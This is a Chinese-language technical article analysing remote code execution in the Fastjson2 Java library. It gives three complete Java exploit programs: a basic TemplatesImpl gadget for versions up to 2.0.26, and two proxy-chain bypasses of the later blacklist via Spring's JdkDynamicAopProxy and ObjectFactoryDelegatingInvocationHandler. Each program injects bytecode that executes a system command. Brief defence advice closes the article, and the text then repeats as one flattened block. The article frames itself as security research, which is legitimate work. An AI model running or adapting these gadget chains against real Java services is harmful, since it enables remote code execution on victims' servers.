Fastjson2 RCE 深度剖析:从黑名单绕过到双代理链利用
字数 2338 2025-12-03 12:05:28

Fastjson2 RCE 漏洞分析与利用技术详解

前言

本文深入剖析 Fastjson2 ≤2.0.26 版本的序列化触发机制,并重点分析在 ≥2.0.27 版本下如何利用 Spring AOP 代理与 ObjectFactoryDelegatingInvocationHandler 双重动态代理链绕过黑名单限制,实现稳定 RCE。

环境搭建

依赖配置

<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.26</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>
<dependency>
    <groupId>xalan</groupId>
    <artifactId>xalan</artifactId>
    <version>2.7.2</version>
</dependency>

Fastjson2 ≤ 2.0.26 漏洞分析

恶意代码构造

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", templates);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

序列化触发机制分析

  1. toString() 方法调用流程

    • 调用 JSONWriterUTF16JDK8.write() 方法
    • 使用迭代器获取 JSONObject 中的键值对
    • 对 value 进行处理,主要在 JSONWriter.getObjectWrite() 方法中
  2. ObjectWriter 创建过程

    • creator 赋值为 ObjectWriterCreatorASM 类实例
    • 调用 BeanUtils.getters() 方法遍历传入类的所有 public 方法
    • 提取 getter 方法并放入 fieldWriterMap
  3. ASM 代码生成

    • 生成 OWG_1_3_TemplatesImpl
    • 通过 genMethodWrite()gwFieldValue()genGetObject() 调用链
    • 将 member 赋值为对应的 getter 方法
    • 调用 visitMethodInsn() 方法写入调用对应 getter 方法的代码
  4. getter 方法调用顺序

    • getOutputProperties()getStylesheetDOM()getTransletIndex()
    • 通过 TemplatesImpl 的 getter 方法触发恶意代码执行

Fastjson2 ≥ 2.0.27 黑名单绕过技术

黑名单机制分析

BeanUtils.getters() 方法中增加了黑名单检查,当检测到 TemplatesImpl 类时会直接 return,阻止后续操作。

绕过技术一:JdkDynamicAopProxy 链

依赖配置

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.3.19</version>
</dependency>

利用原理

  1. 代理类特性利用

    • 代码只对代理类的接口调用 getters,不检查真实对象
    • Templates 接口不在黑名单中
    • TemplatesImpl 实现了该接口并额外提供 getOutputProperties() 方法
  2. JdkDynamicAopProxy.invoke() 方法分析

    • 当 chain 为空时调用 AopUtils.invokeJoinpointUsingReflection()
    • 通过反射调用目标对象的指定方法

完整利用代码

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用 javassist 定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 构造 Spring AOP 代理
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        
        Class<?> proxyClass = Proxy.getProxyClass(Main.class.getClassLoader(), Templates.class);
        Constructor<?> constructor = proxyClass.getConstructor(InvocationHandler.class);
        InvocationHandler handler = new org.springframework.aop.framework.JdkDynamicAopProxy(advisedSupport);
        
        Object proxyObj = constructor.newInstance(handler);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", proxyObj);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用流程

  1. Fastjson2 对代理对象进行序列化
  2. 反射调用 getOutputProperties() 方法
  3. JVM 将调用转发至 JdkDynamicAopProxy.invoke()
  4. 由于 advisors 为空,进入 if (chain.isEmpty()) 分支
  5. 通过 AopUtils.invokeJoinpointUsingReflection() 反射调用 TemplatesImpl.getOutputProperties()
  6. 加载并执行恶意字节码,完成 RCE

绕过技术二:ObjectFactoryDelegatingInvocationHandler 链

利用原理

  1. ObjectFactoryDelegatingInvocationHandler.invoke() 分析

    • 通过反射调用目标方法
    • 需要控制 getObject() 过程返回恶意 TemplatesImpl 对象
  2. JSONObject.invoke() 方法利用

    • 根据 getter 方法格式获取属性名 "object"
    • 通过 get() 方法从 map 中获取对应的 value 值

完整利用代码

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用 javassist 定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 第一个 JSONObject 代理
        JSONObject jsonObject0 = new JSONObject();
        jsonObject0.put("object", templates);
        
        // 创建 ObjectFactory 接口的代理
        ObjectFactory<?> objectFactoryProxy = (ObjectFactory<?>) Proxy.newProxyInstance(
            Main.class.getClassLoader(),
            new Class[]{ObjectFactory.class},
            jsonObject0
        );
        
        // 反射创建 ObjectFactoryDelegatingInvocationHandler
        Class<?> handlerClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor = handlerClass.getDeclaredConstructor(ObjectFactory.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(objectFactoryProxy);
        
        // 创建最终的 Templates 代理
        Templates proxy = (Templates) Proxy.newProxyInstance(
            Main.class.getClassLoader(),
            new Class[]{Templates.class},
            handler
        );
        
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", proxy);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

双重代理调用流程

  1. 第一层代理(ObjectFactory 接口)

    • 调用 proxy0.getObject() 时进入 JSONObject.invoke()
    • 解析为 getter → key = "object"
    • 返回 jsonObject0.get("object") = templates
  2. 第二层代理(ObjectFactoryDelegatingInvocationHandler)

    • Object target = objectFactory.getObject() 返回 templates
    • return method.invoke(target, args) 在 templates 上调用方法
  3. 最终触发

    • Fastjson2 序列化时自动调用 getOutputProperties()
    • 经由两层代理最终执行 TemplatesImpl.getOutputProperties()
    • 加载并运行恶意字节码,实现 RCE

技术要点总结

关键绕过技术

  1. 接口代理绕过黑名单:利用只检查接口不检查实现类的特性
  2. 双重代理链:通过多层代理转发方法调用
  3. 反射机制利用:动态创建代理对象和处理器

防御建议

  1. 及时升级 Fastjson2 到最新版本
  2. 严格限制反序列化操作
  3. 实施最小权限原则,限制执行敏感操作
  4. 使用安全防护产品检测和拦截恶意序列化数据

检测方法

  1. 监控 Fastjson2 反序列化操作
  2. 检测异常的代理对象创建行为
  3. 分析网络流量中的可疑序列化数据

本教学文档详细分析了 Fastjson2 RCE 漏洞的利用技术,包括历史版本漏洞原理和新版本绕过方法,为安全研究和防护提供全面参考。

Fastjson2 RCE 漏洞分析与利用技术详解 前言 本文深入剖析 Fastjson2 ≤2.0.26 版本的序列化触发机制,并重点分析在 ≥2.0.27 版本下如何利用 Spring AOP 代理与 ObjectFactoryDelegatingInvocationHandler 双重动态代理链绕过黑名单限制,实现稳定 RCE。 环境搭建 依赖配置 Fastjson2 ≤ 2.0.26 漏洞分析 恶意代码构造 序列化触发机制分析 toString() 方法调用流程 调用 JSONWriterUTF16JDK8.write() 方法 使用迭代器获取 JSONObject 中的键值对 对 value 进行处理,主要在 JSONWriter.getObjectWrite() 方法中 ObjectWriter 创建过程 creator 赋值为 ObjectWriterCreatorASM 类实例 调用 BeanUtils.getters() 方法遍历传入类的所有 public 方法 提取 getter 方法并放入 fieldWriterMap ASM 代码生成 生成 OWG_1_3_TemplatesImpl 类 通过 genMethodWrite() → gwFieldValue() → genGetObject() 调用链 将 member 赋值为对应的 getter 方法 调用 visitMethodInsn() 方法写入调用对应 getter 方法的代码 getter 方法调用顺序 getOutputProperties() → getStylesheetDOM() → getTransletIndex() 通过 TemplatesImpl 的 getter 方法触发恶意代码执行 Fastjson2 ≥ 2.0.27 黑名单绕过技术 黑名单机制分析 在 BeanUtils.getters() 方法中增加了黑名单检查,当检测到 TemplatesImpl 类时会直接 return,阻止后续操作。 绕过技术一:JdkDynamicAopProxy 链 依赖配置 利用原理 代理类特性利用 代码只对代理类的接口调用 getters,不检查真实对象 Templates 接口不在黑名单中 TemplatesImpl 实现了该接口并额外提供 getOutputProperties() 方法 JdkDynamicAopProxy.invoke() 方法分析 当 chain 为空时调用 AopUtils.invokeJoinpointUsingReflection() 通过反射调用目标对象的指定方法 完整利用代码 调用流程 Fastjson2 对代理对象进行序列化 反射调用 getOutputProperties() 方法 JVM 将调用转发至 JdkDynamicAopProxy.invoke() 由于 advisors 为空,进入 if (chain.isEmpty()) 分支 通过 AopUtils.invokeJoinpointUsingReflection() 反射调用 TemplatesImpl.getOutputProperties() 加载并执行恶意字节码,完成 RCE 绕过技术二:ObjectFactoryDelegatingInvocationHandler 链 利用原理 ObjectFactoryDelegatingInvocationHandler.invoke() 分析 通过反射调用目标方法 需要控制 getObject() 过程返回恶意 TemplatesImpl 对象 JSONObject.invoke() 方法利用 根据 getter 方法格式获取属性名 "object" 通过 get() 方法从 map 中获取对应的 value 值 完整利用代码 双重代理调用流程 第一层代理(ObjectFactory 接口) 调用 proxy0.getObject() 时进入 JSONObject.invoke() 解析为 getter → key = "object" 返回 jsonObject0.get("object") = templates 第二层代理(ObjectFactoryDelegatingInvocationHandler) Object target = objectFactory.getObject() 返回 templates return method.invoke(target, args) 在 templates 上调用方法 最终触发 Fastjson2 序列化时自动调用 getOutputProperties() 经由两层代理最终执行 TemplatesImpl.getOutputProperties() 加载并运行恶意字节码,实现 RCE 技术要点总结 关键绕过技术 接口代理绕过黑名单 :利用只检查接口不检查实现类的特性 双重代理链 :通过多层代理转发方法调用 反射机制利用 :动态创建代理对象和处理器 防御建议 及时升级 Fastjson2 到最新版本 严格限制反序列化操作 实施最小权限原则,限制执行敏感操作 使用安全防护产品检测和拦截恶意序列化数据 检测方法 监控 Fastjson2 反序列化操作 检测异常的代理对象创建行为 分析网络流量中的可疑序列化数据 本教学文档详细分析了 Fastjson2 RCE 漏洞的利用技术,包括历史版本漏洞原理和新版本绕过方法,为安全研究和防护提供全面参考。